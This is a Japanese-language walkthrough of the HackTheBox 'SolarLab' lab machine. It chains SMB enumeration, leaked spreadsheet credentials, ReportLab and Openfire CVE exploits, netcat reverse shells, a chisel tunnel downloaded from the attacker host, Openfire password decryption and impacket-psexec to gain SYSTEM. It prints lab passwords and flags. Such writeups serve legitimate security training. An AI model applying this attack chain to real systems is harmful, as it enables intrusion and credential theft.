概要
HackTheBox「SolarLab」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.16 -oN nmap_result
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
6791/tcp open http nginx 1.24.0
|_http-server-header: nginx/1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-09-20T15:41:19
|_ start_date: N/A
|_clock-skew: 1s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
solarlab.htb
とreport.solarlab.htb
のドメインが判明したので/etc/hosts
に追記します。
10.10.11.16 solarlab.htb report.solarlab.htb
80
番ポートにアクセスするとWebサイトが表示されました。
report.solarlab.htb:6791
にアクセスするとログインページが表示されました。
Webサービスそれぞれのディレクトリ列挙をします。
$ dirsearch -u http://solarlab.htb
[12:19:53] 301 - 169B - /assets -> http://solarlab.htb/assets/
[12:20:20] 301 - 169B - /images -> http://solarlab.htb/images/
$ dirsearch -u http://report.solarlab.htb:6791
[12:23:03] 302 - 235B - /dashboard -> /login?next=%2Fdashboard
[12:23:24] 200 - 2KB - /login
[12:23:25] 302 - 229B - /logout -> /login?next=%2Flogout
SMBの共有リソースを列挙します。
$ smbclient -L //10.10.11.16
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
Documents Disk
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
Documents
にアクセスします。
$ smbclient //10.10.11.16/Documents
中を見るとOfficeファイルがあるのでダウンロードします。
smb: \> ls
. DR 0 Fri Apr 26 10:47:14 2024
.. DR 0 Fri Apr 26 10:47:14 2024
concepts D 0 Fri Apr 26 10:41:57 2024
desktop.ini AHS 278 Fri Nov 17 05:54:43 2023
details-file.xlsx A 12793 Fri Nov 17 07:27:21 2023
My Music DHSrn 0 Thu Nov 16 14:36:51 2023
My Pictures DHSrn 0 Thu Nov 16 14:36:51 2023
My Videos DHSrn 0 Thu Nov 16 14:36:51 2023
old_leave_request_form.docx A 37194 Fri Nov 17 05:35:57 2023
smb: \concepts\> ls
. D 0 Fri Apr 26 10:41:57 2024
.. D 0 Fri Apr 26 10:41:57 2024
Training-Request-Form.docx A 161337 Fri Nov 17 05:46:57 2023
Travel-Request-Sample.docx A 30953 Fri Nov 17 05:36:54 2023
details-file.xlsx
からユーザー名やパスワードを得られました。
AlexanderK
,ClaudiaS
をユーザー名に使用した場合、エラー出力が変化したのでアカウントの存在を確認できました。
ユーザー名の規則から推測してblakeb
アカウントも発見できました。
Username: blakeb
、Password: ThisCanB3typedeasily1@
でログインできました。
それぞれ4つの遷移先ページではPDFを生成できます。
生成されたPDFを保存し、exiftool
でメタデータを読み込みます。
$ exiftool output.pdf
ExifTool Version Number : 12.70
File Name : output.pdf
Directory : .
File Size : 277 kB
File Modification Date/Time : 2024:09:22 12:08:18-04:00
File Access Date/Time : 2024:09:22 12:08:18-04:00
File Inode Change Date/Time : 2024:09:22 12:08:18-04:00
File Permissions : -rw-r--r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.4
Linearized : No
Author : (anonymous)
Create Date : 2024:09:22 19:07:25-02:00
Creator : (unspecified)
Modify Date : 2024:09:22 19:07:25-02:00
Producer : ReportLab PDF Library - www.reportlab.com
Subject : (unspecified)
Title : (anonymous)
Trapped : False
Page Mode : UseNone
Page Count : 1
PDF生成にはReportLab PDF Library
が使用されていると分かりました。
reportlab pdf library exploit
などで検索するとCVE-2023-33733
がヒットしました。
試しにpingを実行するとRCEが成功したと分かりました。
$ sudo tcpdump -i tun0 icmp
[sudo] password for kali:
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
12:37:57.124362 IP solarlab.htb > 10.10.14.150: ICMP echo request, id 1, seq 1, length 40
12:37:57.124375 IP 10.10.14.150 > solarlab.htb: ICMP echo reply, id 1, seq 1, length 40
リバースシェルを張ります。
Netcatでリッスンします。
$ nc -lnvp 1234
リバースシュルペイロードは下記サイトから生成します。
リクエストを送信するとシェルを張れました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53562
whoami
solarlab\blake
C:\Users\blake\Desktop\user.txt
からユーザーフラグを入手できました。
PS C:\Users\blake\Desktop> type user.txt
4d87bcd6ec3a001ba1583640cbdfd5cc
Root Flag
C:\Users\blake\Documents\app\app.py
のソースコードを見るとSQLiteでusers.db
ファイルを使用しています。
# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os
app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
users.db
ファイルを検索します。
PS C:\Users\blake\Documents\app> Get-ChildItem -Path C:\ -Filter users.db -Recurse -ErrorAction SilentlyContinue
Directory: C:\Users\blake\Documents\app\instance
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 5/2/2024 12:30 PM 12288 users.db
Directory: C:\Users\blake\Documents\app\reports\instance
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 11/17/2023 12:11 PM 12288 users.db
C:\Users\blake\Documents\app\instance\users.db
を発見しました。
ファイルをSMB経由でKaliにダウンロードします。
Copy-Item -Path C:\Users\blake\Documents\app\instance\users.db -Destination C:\Users\Public\Documents
smb: \> get users.db
ファイルの内容から認証情報を得られました。
$ sqlite3 users.db
sqlite> .table
user
sqlite> select * from user;
1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard
別アカウントを探します。
PS C:\Users\blake\Documents\app> net users
User accounts for \\SOLARLAB
-------------------------------------------------------------------------------
Administrator blake DefaultAccount
Guest openfire WDAGUtilityAccount
The command completed successfully.
openfire
アカウントを発見したのでOpenfire Server
が動作している可能性があります。
openfire
で使用するポートを調べると9090
,9091
だと分かったので、ネットワーク使用状況を調べると9090
,9091
がリッスンしていました。
netstat -ano
TCP 127.0.0.1:9090 0.0.0.0:0 LISTENING 3220
TCP 127.0.0.1:9091 0.0.0.0:0 LISTENING 3220
サービスはローカルで動作しているのでchisel
を使用してトンネリングします。
chisel
のexeファイルを作成します。
$ git clone https://github.com/jpillora/chisel.git
$ cd chisel
$ env GOOS=windows GOARCH=amd64 go build -o chisel_win.exe -ldflags "-s -w"
ターゲットマシンにchisel_win.exe
をダウンロードします。
wget http://10.10.14.150/chisel_win.exe -OutFile C:\Users\blake\Documents\app\chisel_win.exe
Kaliでサーバーを起動します。
$ chisel server --reverse -p 8000
ターゲットマシンでクライアントを起動します。
./chisel_win.exe client 10.10.14.150:8000 R:9090:127.0.0.1:9090
127.0.0.1:9090
にアクセスするとopenfire
のログインページが表示されました。
openfire 4.7.4
が使用されていると分かりました。
脆弱性情報を検索するとCVE-2023-32315
が見つかり、認証をバイパスできるようです。
PoCは下記リポジトリを使用します。
PoCを実行し、新しいアカウントを作成できました。
$ python CVE-2023-32315.py -t http://127.0.0.1:9090
██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██╗███████╗
██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗╚════██╗███║██╔════╝
██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗█████╔╝ █████╔╝ █████╔╝╚██║███████╗
██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝╚═══██╗██╔═══╝ ╚═══██╗ ██║╚════██║
╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ██████╔╝███████╗██████╔╝ ██║███████║
╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝
Openfire Console Authentication Bypass Vulnerability (CVE-2023-3215)
Use at your own risk!
[..] Checking target: http://127.0.0.1:9090
Successfully retrieved JSESSIONID: node01loj99ilcfop51ahref30afhrd8.node0 + csrf: 2wueWdMNntz4Gyp
User added successfully: url: http://127.0.0.1:9090 username: 1ka4t9 password: 28wl1z
作成されたアカウントでのログインに成功しました。
Plugins
->Browse
からPoCリポジトリにあるopenfire-management-tool-plugin.jar
をアップロードします。
Server
->Server Setting
->Management Tool
にアクセスします。
Password: 123
を使用してログインします。
system command
を選択することでOSコマンドを実行できました。
Netcatで再度リッスンします。
$ nc -lnvp 1235
listening on [any] 1235 ...
下記サイトからPowerShellのリバースシェルコードを生成し実行することでopenfire
アカウントのシェルを取得できました。
$ nc -lnvp 1235
listening on [any] 1235 ...
connect to [10.10.14.150] from (UNKNOWN) [10.10.11.16] 53927
whoami
solarlab\openfire
openfire
ではembedded-db
ディレクトリ配下にDBファイルがあるようなので見てみると発見しました。
PS C:\Program Files\Openfire> dir
Directory: C:\Program Files\Openfire
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 11/17/2023 2:11 PM .install4j
d----- 11/17/2023 2:11 PM bin
d----- 9/21/2024 10:33 PM conf
d----- 11/17/2023 2:11 PM documentation
d----- 9/21/2024 10:33 PM embedded-db
embedded-db
配下を見るとopenfire.script
を発見しました。
PS C:\Program Files\Openfire\embedded-db> dir
Directory: C:\Program Files\Openfire\embedded-db
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 9/21/2024 10:33 PM openfire.tmp
-a---- 9/21/2024 10:33 PM 0 openfire.lck
-a---- 9/22/2024 10:38 PM 7683 openfire.log
-a---- 9/21/2024 10:33 PM 106 openfire.properties
-a---- 5/7/2024 9:15 PM 16161 openfire.script
openfire.script
の内容を見ると管理者の認証情報に関するデータを発見できます。
PS C:\Program Files\Openfire\embedded-db> type openfire.script
(省略)
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')
(省略)
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)
パスワードは暗号化されているようです。
openfire
のパスワード復号には下記PoCを利用しました。
PoCを実行し、管理者のパスワードがThisPasswordShouldDo!@
だと分かりました。
$ javac OpenFireDecryptPass.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
$ java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)
psexec
で管理者アカウントにリモート接続します。
$ impacket-psexec solarlab.htb/administrator:'ThisPasswordShouldDo!@'@solarlab.htb powershell
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Requesting shares on solarlab.htb.....
[*] Found writable share ADMIN$
[*] Uploading file NCFHTGlL.exe
[*] Opening SVCManager on solarlab.htb.....
[*] Creating service WiBM on solarlab.htb.....
[*] Starting service WiBM.....
[!] Press help for extra shell commands
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Try the new cross-platform PowerShell https://aka.ms/pscore6
PS C:\Windows\system32>
PS C:\Windows\system32>
whoami
PS C:\Windows\system32> whoami
nt authority\system
C:\Users\Administrator\Desktop\root.txt
からルートフラグを入手できます。
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
af76e7470f5dcfe303087100c0304811